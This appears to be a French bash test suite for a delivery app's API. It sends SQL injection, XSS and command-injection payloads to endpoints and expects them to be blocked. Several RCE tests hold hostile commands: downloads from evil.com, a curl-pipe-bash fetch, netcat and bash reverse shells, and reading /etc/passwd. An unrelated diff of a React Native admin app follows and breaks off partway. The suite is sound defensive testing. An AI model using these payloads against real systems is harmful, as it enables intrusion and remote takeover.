# Test 6: SQL Injection dans name_product
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"Pizza'\'' OR 1=1--","category":"pizza","quantity":1}' \
|
||||||
|
403 "SQLi - Panier name_product"
|
||||||
|
|
||||||
|
# Test 7: SQL Injection dans category
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"Pizza","category":"pizza'\'' OR '\''1'\''='\''1","quantity":1}' \
|
||||||
|
403 "SQLi - Panier category"
|
||||||
|
|
||||||
|
print_section "3. SQL Injection - Admin"
|
||||||
|
|
||||||
|
# Test 8: SQL Injection dans username pénalité
|
||||||
|
http_test_admin "POST" "/api/v2/admin/protected/penalty" \
|
||||||
|
"{\"username\":\"admin' OR '1'='1\",\"amount\":50.0,\"reason\":\"Test\"}" \
|
||||||
|
403 "SQLi - Username pénalité"
|
||||||
|
|
||||||
|
# Test 9: SQL Injection dans paramètres commandes
|
||||||
|
http_test_admin "GET" "/api/v2/admin/protected/orders?status=pending' OR '1'='1" \
|
||||||
|
"" \
|
||||||
|
403 "SQLi - Paramètres commandes"
|
||||||
|
|
||||||
|
# Test 10: SQL Injection dans ID commande
|
||||||
|
http_test_admin "POST" "/api/v2/admin/protected/orders/1' OR '1'='1/auto-assign" \
|
||||||
|
"" \
|
||||||
|
403 "SQLi - ID commande"
|
||||||
|
|
||||||
|
# Test 11: SQL Injection dans username livreur
|
||||||
|
http_test_admin "GET" "/api/v2/admin/protected/delivery-persons/john' OR '1'='1/location" \
|
||||||
|
"" \
|
||||||
|
403 "SQLi - Username livreur"
|
||||||
|
|
||||||
|
print_section "4. SQL Injection - Commandes Client"
|
||||||
|
|
||||||
|
# Test 12: SQL Injection dans adresse checkout
|
||||||
|
http_test_client "POST" "/api/v1/checkout" \
|
||||||
|
'{"delivery_address":"1'\'' OR '\''1'\''='\''1"}' \
|
||||||
|
403 "SQLi - Adresse checkout"
|
||||||
|
|
||||||
|
# Test 13: SQL Injection nom produit admin
|
||||||
|
http_test_admin "POST" "/api/v2/admin/protected/products" \
|
||||||
|
'{"nom":"Pizza'\'' OR '\''1'\''='\''1","category":"pizza","stock":10,"prix":12.99}' \
|
||||||
|
403 "SQLi - Nom produit admin"
|
||||||
|
|
||||||
|
print_section "5. SQL Injection - Variantes avancées"
|
||||||
|
|
||||||
|
# Test 14: SQL Injection avec AND
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"admin'\'' AND '\''1'\''='\''1","password":"test"}' \
|
||||||
|
403 "SQLi - AND condition"
|
||||||
|
|
||||||
|
# Test 15: SQL Injection avec encodage hex
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"admin'\'' OR 0x31=0x31--","password":"test"}' \
|
||||||
|
403 "SQLi - Encodage hex"
|
||||||
|
|
||||||
|
# Test 16: SQL Injection avec SLEEP (Time-based)
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"admin'\'' AND SLEEP(5)--","password":"test"}' \
|
||||||
|
403 "SQLi - Time-based SLEEP"
|
||||||
|
|
||||||
|
# Test 17: SQL Injection avec BENCHMARK
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"admin'\'' AND BENCHMARK(10000000,SHA1('\''test'\''))--","password":"test"}' \
|
||||||
|
403 "SQLi - BENCHMARK"
|
||||||
|
|
||||||
|
# Test 18: SQL Injection avec sous-requête
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"admin'\'' AND (SELECT COUNT(*) FROM users)>0--","password":"test"}' \
|
||||||
|
403 "SQLi - Sous-requête"
|
||||||
|
}
|
||||||
|
|
||||||
|
# =============================================================================
|
||||||
|
# Tests XSS (Cross-Site Scripting)
|
||||||
|
# =============================================================================
|
||||||
|
|
||||||
|
test_xss() {
|
||||||
|
print_header "TESTS XSS (CROSS-SITE SCRIPTING)"
|
||||||
|
|
||||||
|
print_section "1. XSS - Login"
|
||||||
|
|
||||||
|
# Test 1: XSS basique avec script tag
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"<script>alert(1)</script>","password":"test"}' \
|
||||||
|
403 "XSS - Script tag basique"
|
||||||
|
|
||||||
|
# Test 2: XSS avec event handler
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"<img src=x onerror=alert(1)>","password":"test"}' \
|
||||||
|
403 "XSS - Event handler onerror"
|
||||||
|
|
||||||
|
# Test 3: XSS avec SVG
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"<svg onload=alert(1)>","password":"test"}' \
|
||||||
|
403 "XSS - SVG onload"
|
||||||
|
|
||||||
|
print_section "2. XSS - Panier"
|
||||||
|
|
||||||
|
# Test 4: XSS dans name_product
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"<script>alert('\''XSS'\'')</script>","category":"pizza","quantity":1}' \
|
||||||
|
403 "XSS - Panier name_product"
|
||||||
|
|
||||||
|
# Test 5: XSS dans category
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"Pizza","category":"<script>alert(1)</script>","quantity":1}' \
|
||||||
|
403 "XSS - Panier category"
|
||||||
|
|
||||||
|
print_section "3. XSS - Admin"
|
||||||
|
|
||||||
|
# Test 6: XSS dans raison pénalité
|
||||||
|
http_test_admin "POST" "/api/v2/admin/protected/penalty" \
|
||||||
|
"{\"username\":\"$CLIENT_USERNAME\",\"amount\":30.0,\"reason\":\"<script>alert('XSS')</script>\"}" \
|
||||||
|
400 "XSS - Raison pénalité"
|
||||||
|
|
||||||
|
# Test 7: XSS dans paramètres commandes
|
||||||
|
http_test_admin "GET" "/api/v2/admin/protected/orders?username=<script>alert(1)</script>" \
|
||||||
|
"" \
|
||||||
|
403 "XSS - Paramètres commandes"
|
||||||
|
|
||||||
|
# Test 8: XSS dans description produit
|
||||||
|
http_test_admin "POST" "/api/v2/admin/protected/products" \
|
||||||
|
'{"nom":"Pizza","category":"pizza","description":"<script>alert(1)</script>","stock":10,"prix":12.99}' \
|
||||||
|
403 "XSS - Description produit"
|
||||||
|
|
||||||
|
print_section "4. XSS - Commandes Client"
|
||||||
|
|
||||||
|
# Test 9: XSS dans adresse checkout
|
||||||
|
http_test_client "POST" "/api/v1/checkout" \
|
||||||
|
'{"delivery_address":"<script>alert(1)</script>"}' \
|
||||||
|
403 "XSS - Adresse checkout"
|
||||||
|
|
||||||
|
# Test 10: XSS dans commentaire approbation
|
||||||
|
http_test_client "POST" "/api/v1/commands/1/approve" \
|
||||||
|
'{"rating":5,"comment":"<script>alert(1)</script>"}' \
|
||||||
|
403 "XSS - Commentaire approbation"
|
||||||
|
|
||||||
|
# Test 11: XSS dans raison annulation
|
||||||
|
http_test_client "POST" "/api/v1/commands/1/cancel" \
|
||||||
|
'{"reason":"<script>alert(1)</script>"}' \
|
||||||
|
403 "XSS - Raison annulation"
|
||||||
|
|
||||||
|
print_section "5. XSS - Variantes avancées"
|
||||||
|
|
||||||
|
# Test 12: XSS avec iframe
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"<iframe src=javascript:alert(1)>","password":"test"}' \
|
||||||
|
403 "XSS - iframe javascript"
|
||||||
|
|
||||||
|
# Test 13: XSS avec body onload
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"<body onload=alert(1)>","password":"test"}' \
|
||||||
|
403 "XSS - body onload"
|
||||||
|
|
||||||
|
# Test 14: XSS avec input autofocus
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"<input autofocus onfocus=alert(1)>","password":"test"}' \
|
||||||
|
403 "XSS - input autofocus"
|
||||||
|
|
||||||
|
# Test 15: XSS avec marquee
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"<marquee onstart=alert(1)>","password":"test"}' \
|
||||||
|
403 "XSS - marquee onstart"
|
||||||
|
|
||||||
|
# Test 16: XSS avec details/summary
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"<details open ontoggle=alert(1)>","password":"test"}' \
|
||||||
|
403 "XSS - details ontoggle"
|
||||||
|
|
||||||
|
# Test 17: XSS avec javascript: protocol
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"<a href=javascript:alert(1)>click</a>","password":"test"}' \
|
||||||
|
403 "XSS - javascript protocol"
|
||||||
|
|
||||||
|
# Test 18: XSS avec data: URI
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"<a href=data:text/html,<script>alert(1)</script>>click</a>","password":"test"}' \
|
||||||
|
403 "XSS - data URI"
|
||||||
|
|
||||||
|
# Test 19: XSS encodé HTML
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"<script>alert(1)</script>","password":"test"}' \
|
||||||
|
403 "XSS - Encodage HTML entities"
|
||||||
|
|
||||||
|
# Test 20: XSS avec polyglotte
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"jaVasCript:/*-/*`/*\\`/*'\''/*\"/**/(/* */oNcLiCk=alert() )//","password":"test"}' \
|
||||||
|
403 "XSS - Polyglotte"
|
||||||
|
}
|
||||||
|
|
||||||
|
# =============================================================================
|
||||||
|
# Tests RCE (Remote Code Execution)
|
||||||
|
# =============================================================================
|
||||||
|
|
||||||
|
test_rce() {
|
||||||
|
print_header "TESTS RCE (REMOTE CODE EXECUTION)"
|
||||||
|
|
||||||
|
print_section "1. RCE - Command Injection basique"
|
||||||
|
|
||||||
|
# Test 1: Command substitution avec $()
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"$(whoami)","category":"pizza","quantity":1}' \
|
||||||
|
403 "RCE - Command substitution"
|
||||||
|
|
||||||
|
# Test 2: Command substitution avec backticks
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"`whoami`","category":"pizza","quantity":1}' \
|
||||||
|
403 "RCE - Command substitution backticks"
|
||||||
|
|
||||||
|
# Test 3: Pipe command
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"test|whoami","category":"pizza","quantity":1}' \
|
||||||
|
403 "RCE - Pipe command"
|
||||||
|
|
||||||
|
# Test 4: Semicolon command chaining
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"test;whoami","category":"pizza","quantity":1}' \
|
||||||
|
403 "RCE - Semicolon chaining"
|
||||||
|
|
||||||
|
# Test 5: AND command chaining
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"test&&whoami","category":"pizza","quantity":1}' \
|
||||||
|
403 "RCE - AND chaining"
|
||||||
|
|
||||||
|
# Test 6: OR command chaining
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"test||whoami","category":"pizza","quantity":1}' \
|
||||||
|
403 "RCE - OR chaining"
|
||||||
|
|
||||||
|
print_section "2. RCE - Commandes système dangereuses"
|
||||||
|
|
||||||
|
# Test 7: cat /etc/passwd
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"$(cat /etc/passwd)","category":"pizza","quantity":1}' \
|
||||||
|
403 "RCE - cat /etc/passwd"
|
||||||
|
|
||||||
|
# Test 8: ls command
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"$(ls -la)","category":"pizza","quantity":1}' \
|
||||||
|
403 "RCE - ls command"
|
||||||
|
|
||||||
|
# Test 9: wget command
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"$(wget http://evil.com/shell.sh)","category":"pizza","quantity":1}' \
|
||||||
|
403 "RCE - wget download"
|
||||||
|
|
||||||
|
# Test 10: curl command
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"$(curl http://evil.com/shell.sh|bash)","category":"pizza","quantity":1}' \
|
||||||
|
403 "RCE - curl pipe bash"
|
||||||
|
|
||||||
|
# Test 11: nc (netcat) reverse shell
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"$(nc -e /bin/sh evil.com 4444)","category":"pizza","quantity":1}' \
|
||||||
|
403 "RCE - netcat reverse shell"
|
||||||
|
|
||||||
|
# Test 12: bash reverse shell
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"$(bash -i >& /dev/tcp/evil.com/4444 0>&1)","category":"pizza","quantity":1}' \
|
||||||
|
403 "RCE - bash reverse shell"
|
||||||
|
|
||||||
|
print_section "3. RCE - Dans autres endpoints"
|
||||||
|
|
||||||
|
# Test 13: RCE dans adresse checkout
|
||||||
|
http_test_client "POST" "/api/v1/checkout" \
|
||||||
|
'{"delivery_address":"$(whoami)"}' \
|
||||||
|
403 "RCE - Adresse checkout"
|
||||||
|
|
||||||
|
# Test 14: RCE dans login
|
||||||
|
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||||
|
'{"username":"$(id)","password":"test"}' \
|
||||||
|
403 "RCE - Login username"
|
||||||
|
|
||||||
|
# Test 15: RCE dans commentaire
|
||||||
|
http_test_client "POST" "/api/v1/commands/1/approve" \
|
||||||
|
'{"rating":5,"comment":"$(uname -a)"}' \
|
||||||
|
403 "RCE - Commentaire approbation"
|
||||||
|
|
||||||
|
# Test 16: RCE dans raison annulation
|
||||||
|
http_test_client "POST" "/api/v1/commands/1/cancel" \
|
||||||
|
'{"reason":"$(pwd)"}' \
|
||||||
|
403 "RCE - Raison annulation"
|
||||||
|
|
||||||
|
print_section "4. RCE - Python/Perl/Ruby injection"
|
||||||
|
|
||||||
|
# Test 17: Python code execution
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"__import__(\"os\").system(\"whoami\")","category":"pizza","quantity":1}' \
|
||||||
|
403 "RCE - Python import os"
|
||||||
|
|
||||||
|
# Test 18: eval() injection
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"eval(\"whoami\")","category":"pizza","quantity":1}' \
|
||||||
|
403 "RCE - eval injection"
|
||||||
|
|
||||||
|
# Test 19: exec() injection
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"exec(\"whoami\")","category":"pizza","quantity":1}' \
|
||||||
|
403 "RCE - exec injection"
|
||||||
|
|
||||||
|
# Test 20: system() call
|
||||||
|
http_test_client "POST" "/api/v1/panier/add" \
|
||||||
|
'{"name_product":"system(\"whoami\")","category":"pizza","quantity":1}' \
|
||||||
|
403 "RCE - system call"
|
||||||
|
}
|
||||||
|
|
||||||
|
main() {
|
||||||
|
# Exécution des tests
|
||||||
|
authenticate
|
||||||
|
test_rce
|
||||||
|
test_xss
|
||||||
|
test_sql_injection
|
||||||
|
http_test_no_auth
|
||||||
|
}
|
||||||
|
|
||||||
|
main
|
||||||
@@ -56,8 +56,6 @@ export const logoutAdmin = async (): Promise<void> => {
|
|||||||
export interface StatsSummary {
|
export interface StatsSummary {
|
||||||
total_orders: number;
|
total_orders: number;
|
||||||
total_revenue: number;
|
total_revenue: number;
|
||||||
total_promo_discount: number;
|
|
||||||
promo_orders_count: number;
|
|
||||||
peak_weekday: string;
|
peak_weekday: string;
|
||||||
top_product: string;
|
top_product: string;
|
||||||
avg_per_day: number;
|
avg_per_day: number;
|
||||||
@@ -1141,23 +1139,6 @@ export interface CategoryPromotionConfig {
|
|||||||
products: PromotionProductQuantity[]; // produits + quantité individuelle si all_products = false
|
products: PromotionProductQuantity[]; // produits + quantité individuelle si all_products = false
|
||||||
}
|
}
|
||||||
|
|
||||||
export interface FreeGiftTier {
|
|
||||||
buy_quantity: number; // quantité à acheter pour déclencher l'offre
|
|
||||||
free_quantity: number; // quantité offerte du même produit
|
|
||||||
}
|
|
||||||
|
|
||||||
export interface FreeGiftProductQuantity {
|
|
||||||
product_id: number;
|
|
||||||
tiers: FreeGiftTier[]; // seuils propres à ce produit
|
|
||||||
}
|
|
||||||
|
|
||||||
export interface CategoryFreeGiftConfig {
|
|
||||||
category: string;
|
|
||||||
all_products: boolean;
|
|
||||||
tiers: FreeGiftTier[]; // seuils uniformes si all_products = true
|
|
||||||
products: FreeGiftProductQuantity[]; // produits + seuils individuels si all_products = false
|
|
||||||
}
|
|
||||||
|
|
||||||
export interface PointsPool {
|
export interface PointsPool {
|
||||||
key: string;
|
key: string;
|
||||||
name: string;
|
name: string;
|
||||||
@@ -1259,8 +1240,6 @@ export interface AppSettings {
|
|||||||
points_reward?: PointsReward | null;
|
points_reward?: PointsReward | null;
|
||||||
promotions_enabled: boolean;
|
promotions_enabled: boolean;
|
||||||
promotions: CategoryPromotionConfig[];
|
promotions: CategoryPromotionConfig[];
|
||||||
free_gifts_enabled: boolean;
|
|
||||||
free_gifts: CategoryFreeGiftConfig[];
|
|
||||||
referral_enabled: boolean;
|
referral_enabled: boolean;
|
||||||
delivery_schedule: DeliverySchedule;
|
delivery_schedule: DeliverySchedule;
|
||||||
postal_zones: PostalZone[];
|
postal_zones: PostalZone[];
|
||||||
|
|||||||
@@ -2,7 +2,7 @@ import axios from "axios";
|
|||||||
import { getToken, getAdminToken } from "../auth/tokenStorage";
|
import { getToken, getAdminToken } from "../auth/tokenStorage";
|
||||||
|
|
||||||
export const API_BASE_URL =
|
export const API_BASE_URL =
|
||||||
process.env.EXPO_PUBLIC_API_URL ?? "https://mln-uber.club";
|
process.env.EXPO_PUBLIC_API_URL ?? "https://uber-demo.club";
|
||||||
|
|
||||||
const apiClient = axios.create({
|
const apiClient = axios.create({
|
||||||
baseURL: API_BASE_URL,
|
baseURL: API_BASE_URL,
|
||||||
|
|||||||
@@ -73,7 +73,6 @@ export default function OrderDetailScreen() {
|
|||||||
setCommand(cmdRes.command);
|
setCommand(cmdRes.command);
|
||||||
setItems(itemsRes.items ?? []);
|
setItems(itemsRes.items ?? []);
|
||||||
|
|
||||||
// If livreur assigned, fetch their location and calc route
|
|
||||||
const cmd = cmdRes.command;
|
const cmd = cmdRes.command;
|
||||||
if (cmd?.livreur_assign && cmd?.adresse) {
|
if (cmd?.livreur_assign && cmd?.adresse) {
|
||||||
loadLivreurRoute(cmd.livreur_assign, cmd.adresse);
|
loadLivreurRoute(cmd.livreur_assign, cmd.adresse);
|
||||||
|
|||||||
@@ -17,7 +17,7 @@ import { Ionicons } from "@expo/vector-icons";
|
|||||||
import { spacing, fontSize, borderRadius } from "../../theme";
|
import { spacing, fontSize, borderRadius } from "../../theme";
|
||||||
import { useTheme } from "../../context/ThemeContext";
|
import { useTheme } from "../../context/ThemeContext";
|
||||||
import { getSettings, updateSettings, getCategories, getAvailableDeliveryPersons, getAllProductsAdmin, DEFAULT_DELIVERY_SCHEDULE, DEFAULT_POSTAL_ZONES } from "../../api/api_admin";
|
import { getSettings, updateSettings, getCategories, getAvailableDeliveryPersons, getAllProductsAdmin, DEFAULT_DELIVERY_SCHEDULE, DEFAULT_POSTAL_ZONES } from "../../api/api_admin";
|
||||||
import type { AppSettings, Category, CategoryRoute, DeliveryModeConfig, PointsTier, PointsPool, PointsReward, RewardCategoryConfig, CategoryPromotionConfig, CategoryFreeGiftConfig, FreeGiftProductQuantity, FreeGiftTier, DaySchedule, DeliverySchedule, PostalZone } from "../../api/api_admin";
|
import type { AppSettings, Category, CategoryRoute, DeliveryModeConfig, PointsTier, PointsPool, PointsReward, RewardCategoryConfig, CategoryPromotionConfig, DaySchedule, DeliverySchedule, PostalZone } from "../../api/api_admin";
|
||||||
import type { Product } from "../../api/types";
|
import type { Product } from "../../api/types";
|
||||||
import AlertModal from "../../components/ui/AlertModal";
|
import AlertModal from "../../components/ui/AlertModal";
|
||||||
import { useAlert } from "../../hooks/useAlert";
|
import { useAlert } from "../../hooks/useAlert";
|
||||||
@@ -1161,22 +1161,13 @@ function PromotionProductPicker({
|
|||||||
});
|
});
|
||||||
};
|
};
|
||||||
|
|
||||||
// Chaque produit peut être en promo sur plusieurs paliers de quantité en
|
const updateProductQuantity = (id: number, quantity: number) => {
|
||||||
// même temps (ex: 1g ET 3g) — on ajoute/retire l'entrée {product_id,
|
onChange({
|
||||||
// quantity} correspondante plutôt que de remplacer une quantité unique.
|
...catConfig,
|
||||||
const toggleProductQuantity = (id: number, quantity: number) => {
|
products: catConfig.products.map((pq) =>
|
||||||
const exists = catConfig.products.some((pq) => pq.product_id === id && pq.quantity === quantity);
|
pq.product_id === id ? { ...pq, quantity } : pq
|
||||||
if (exists) {
|
),
|
||||||
onChange({
|
});
|
||||||
...catConfig,
|
|
||||||
products: catConfig.products.filter((pq) => !(pq.product_id === id && pq.quantity === quantity)),
|
|
||||||
});
|
|
||||||
} else {
|
|
||||||
onChange({
|
|
||||||
...catConfig,
|
|
||||||
products: [...catConfig.products, { product_id: id, quantity }],
|
|
||||||
});
|
|
||||||
}
|
|
||||||
};
|
};
|
||||||
|
|
||||||
return (
|
return (
|
||||||
@@ -1236,9 +1227,8 @@ function PromotionProductPicker({
|
|||||||
</View>
|
</View>
|
||||||
)}
|
)}
|
||||||
|
|
||||||
{/* Mode "Sélection" : chaque produit choisi peut être en promo sur
|
{/* Mode "Sélection" : chaque produit choisi a sa propre quantité,
|
||||||
plusieurs paliers de quantité à la fois, via les paliers de
|
via les paliers de prix réels du produit (pas de saisie libre) */}
|
||||||
prix réels du produit (pas de saisie libre) */}
|
|
||||||
{!catConfig.all_products && (
|
{!catConfig.all_products && (
|
||||||
<View style={{ gap: spacing.xs }}>
|
<View style={{ gap: spacing.xs }}>
|
||||||
{catProducts.length === 0 ? (
|
{catProducts.length === 0 ? (
|
||||||
@@ -1273,16 +1263,13 @@ function PromotionProductPicker({
|
|||||||
|
|
||||||
{catConfig.products.length > 0 && (
|
{catConfig.products.length > 0 && (
|
||||||
<View style={{ gap: spacing.s, marginTop: spacing.xs }}>
|
<View style={{ gap: spacing.s, marginTop: spacing.xs }}>
|
||||||
{Array.from(new Set(catConfig.products.map((pq) => pq.product_id))).map((productId) => {
|
{catConfig.products.map((pq) => {
|
||||||
const prod = catProducts.find((p) => p.id === productId);
|
const prod = catProducts.find((p) => p.id === pq.product_id);
|
||||||
const tiers = (prod?.prices ?? []).filter((pr) => pr.active_price !== false);
|
const tiers = (prod?.prices ?? []).filter((pr) => pr.active_price !== false);
|
||||||
const selectedQuantities = catConfig.products
|
|
||||||
.filter((pq) => pq.product_id === productId)
|
|
||||||
.map((pq) => pq.quantity);
|
|
||||||
return (
|
return (
|
||||||
<View key={productId} style={{ gap: 4 }}>
|
<View key={pq.product_id} style={{ gap: 4 }}>
|
||||||
<Text style={{ fontSize: 12, color: colors.textMuted }} numberOfLines={1}>
|
<Text style={{ fontSize: 12, color: colors.textMuted }} numberOfLines={1}>
|
||||||
{prod?.name ?? `Produit #${productId}`}
|
{prod?.name ?? `Produit #${pq.product_id}`}
|
||||||
</Text>
|
</Text>
|
||||||
<View style={{ flexDirection: "row", flexWrap: "wrap", gap: 4 }}>
|
<View style={{ flexDirection: "row", flexWrap: "wrap", gap: 4 }}>
|
||||||
{tiers.length === 0 ? (
|
{tiers.length === 0 ? (
|
||||||
@@ -1290,11 +1277,11 @@ function PromotionProductPicker({
|
|||||||
Aucun palier de prix actif pour ce produit
|
Aucun palier de prix actif pour ce produit
|
||||||
</Text>
|
</Text>
|
||||||
) : tiers.map((tier) => {
|
) : tiers.map((tier) => {
|
||||||
const isSel = selectedQuantities.includes(tier.quantity);
|
const isSel = pq.quantity === tier.quantity;
|
||||||
return (
|
return (
|
||||||
<TouchableOpacity
|
<TouchableOpacity
|
||||||
key={tier.quantity}
|
key={tier.quantity}
|
||||||
onPress={() => toggleProductQuantity(productId, tier.quantity)}
|
onPress={() => updateProductQuantity(pq.product_id, tier.quantity)}
|
||||||
style={{
|
style={{
|
||||||
paddingHorizontal: spacing.s, paddingVertical: 3,
|
paddingHorizontal: spacing.s, paddingVertical: 3,
|
||||||
borderRadius: borderRadius.sm, borderWidth: 1.5,
|
borderRadius: borderRadius.sm, borderWidth: 1.5,
|
||||||
@@ -1520,405 +1507,6 @@ function PromotionsSection({
|
|||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
// ──────────────────────────────────────────────────────────────
|
|
||||||
// Offres "achetez X, Y offert" — quantité supplémentaire du même
|
|
||||||
// produit livrée gratuitement dès qu'un seuil d'achat est atteint,
|
|
||||||
// indépendant des points et des promotions (cumulable avec elles).
|
|
||||||
// Plusieurs seuils peuvent coexister sur un même produit (ex: 10g→+1g,
|
|
||||||
// 20g→+3g) : le seuil le plus élevé atteint par la commande est retenu.
|
|
||||||
// ──────────────────────────────────────────────────────────────
|
|
||||||
const FREEGIFT_ACCENT = "#f59e0b";
|
|
||||||
|
|
||||||
function FreeGiftTierListEditor({
|
|
||||||
tiers,
|
|
||||||
onChange,
|
|
||||||
colors,
|
|
||||||
s,
|
|
||||||
}: {
|
|
||||||
tiers: FreeGiftTier[];
|
|
||||||
onChange: (tiers: FreeGiftTier[]) => void;
|
|
||||||
colors: any;
|
|
||||||
s: any;
|
|
||||||
}) {
|
|
||||||
const updateTier = (idx: number, patch: Partial<FreeGiftTier>) => {
|
|
||||||
onChange(tiers.map((t, i) => (i === idx ? { ...t, ...patch } : t)));
|
|
||||||
};
|
|
||||||
const removeTier = (idx: number) => {
|
|
||||||
onChange(tiers.filter((_, i) => i !== idx));
|
|
||||||
};
|
|
||||||
const addTier = () => {
|
|
||||||
onChange([...tiers, { buy_quantity: 0, free_quantity: 0 }]);
|
|
||||||
};
|
|
||||||
|
|
||||||
return (
|
|
||||||
<View style={{ gap: spacing.xs }}>
|
|
||||||
{tiers.map((t, idx) => (
|
|
||||||
<View key={idx} style={{ flexDirection: "row", alignItems: "center", gap: spacing.xs }}>
|
|
||||||
<Text style={{ fontSize: 11, color: colors.textMuted }}>Acheté :</Text>
|
|
||||||
<TextInput
|
|
||||||
style={[s.thresholdInput, { width: 50, fontSize: 12 }]}
|
|
||||||
keyboardType="decimal-pad"
|
|
||||||
value={t.buy_quantity > 0 ? String(t.buy_quantity) : ""}
|
|
||||||
onChangeText={(v) => {
|
|
||||||
const n = parseFloat(v);
|
|
||||||
updateTier(idx, { buy_quantity: isNaN(n) ? 0 : n });
|
|
||||||
}}
|
|
||||||
placeholder="10"
|
|
||||||
placeholderTextColor={colors.textMuted}
|
|
||||||
/>
|
|
||||||
<Ionicons name="arrow-forward" size={12} color={colors.textMuted} />
|
|
||||||
<Text style={{ fontSize: 11, color: colors.textMuted }}>Offert :</Text>
|
|
||||||
<TextInput
|
|
||||||
style={[s.thresholdInput, { width: 50, fontSize: 12 }]}
|
|
||||||
keyboardType="decimal-pad"
|
|
||||||
value={t.free_quantity > 0 ? String(t.free_quantity) : ""}
|
|
||||||
onChangeText={(v) => {
|
|
||||||
const n = parseFloat(v);
|
|
||||||
updateTier(idx, { free_quantity: isNaN(n) ? 0 : n });
|
|
||||||
}}
|
|
||||||
placeholder="1"
|
|
||||||
placeholderTextColor={colors.textMuted}
|
|
||||||
/>
|
|
||||||
<TouchableOpacity onPress={() => removeTier(idx)} hitSlop={8}>
|
|
||||||
<Ionicons name="trash-outline" size={15} color={colors.danger ?? "#ef4444"} />
|
|
||||||
</TouchableOpacity>
|
|
||||||
</View>
|
|
||||||
))}
|
|
||||||
<TouchableOpacity
|
|
||||||
onPress={addTier}
|
|
||||||
style={{ flexDirection: "row", alignItems: "center", gap: 4, alignSelf: "flex-start", marginTop: 2 }}
|
|
||||||
>
|
|
||||||
<Ionicons name="add-circle-outline" size={14} color={FREEGIFT_ACCENT} />
|
|
||||||
<Text style={{ fontSize: 12, color: FREEGIFT_ACCENT, fontWeight: "600" }}>Ajouter un seuil</Text>
|
|
||||||
</TouchableOpacity>
|
|
||||||
</View>
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
function FreeGiftProductPicker({
|
|
||||||
catConfig,
|
|
||||||
products,
|
|
||||||
onChange,
|
|
||||||
colors,
|
|
||||||
s,
|
|
||||||
}: {
|
|
||||||
catConfig: CategoryFreeGiftConfig;
|
|
||||||
products: Product[];
|
|
||||||
onChange: (cfg: CategoryFreeGiftConfig) => void;
|
|
||||||
colors: any;
|
|
||||||
s: any;
|
|
||||||
}) {
|
|
||||||
const catProducts = products.filter((p) => p.category === catConfig.category);
|
|
||||||
|
|
||||||
const toggleProduct = (id: number) => {
|
|
||||||
const exists = catConfig.products.some((pq) => pq.product_id === id);
|
|
||||||
if (exists) {
|
|
||||||
onChange({ ...catConfig, products: catConfig.products.filter((pq) => pq.product_id !== id), all_products: false });
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
onChange({
|
|
||||||
...catConfig,
|
|
||||||
products: [...catConfig.products, { product_id: id, tiers: [{ buy_quantity: 0, free_quantity: 0 }] }],
|
|
||||||
all_products: false,
|
|
||||||
});
|
|
||||||
};
|
|
||||||
|
|
||||||
const updateProductTiers = (id: number, tiers: FreeGiftTier[]) => {
|
|
||||||
onChange({
|
|
||||||
...catConfig,
|
|
||||||
products: catConfig.products.map((pq) => (pq.product_id === id ? { ...pq, tiers } : pq)),
|
|
||||||
});
|
|
||||||
};
|
|
||||||
|
|
||||||
return (
|
|
||||||
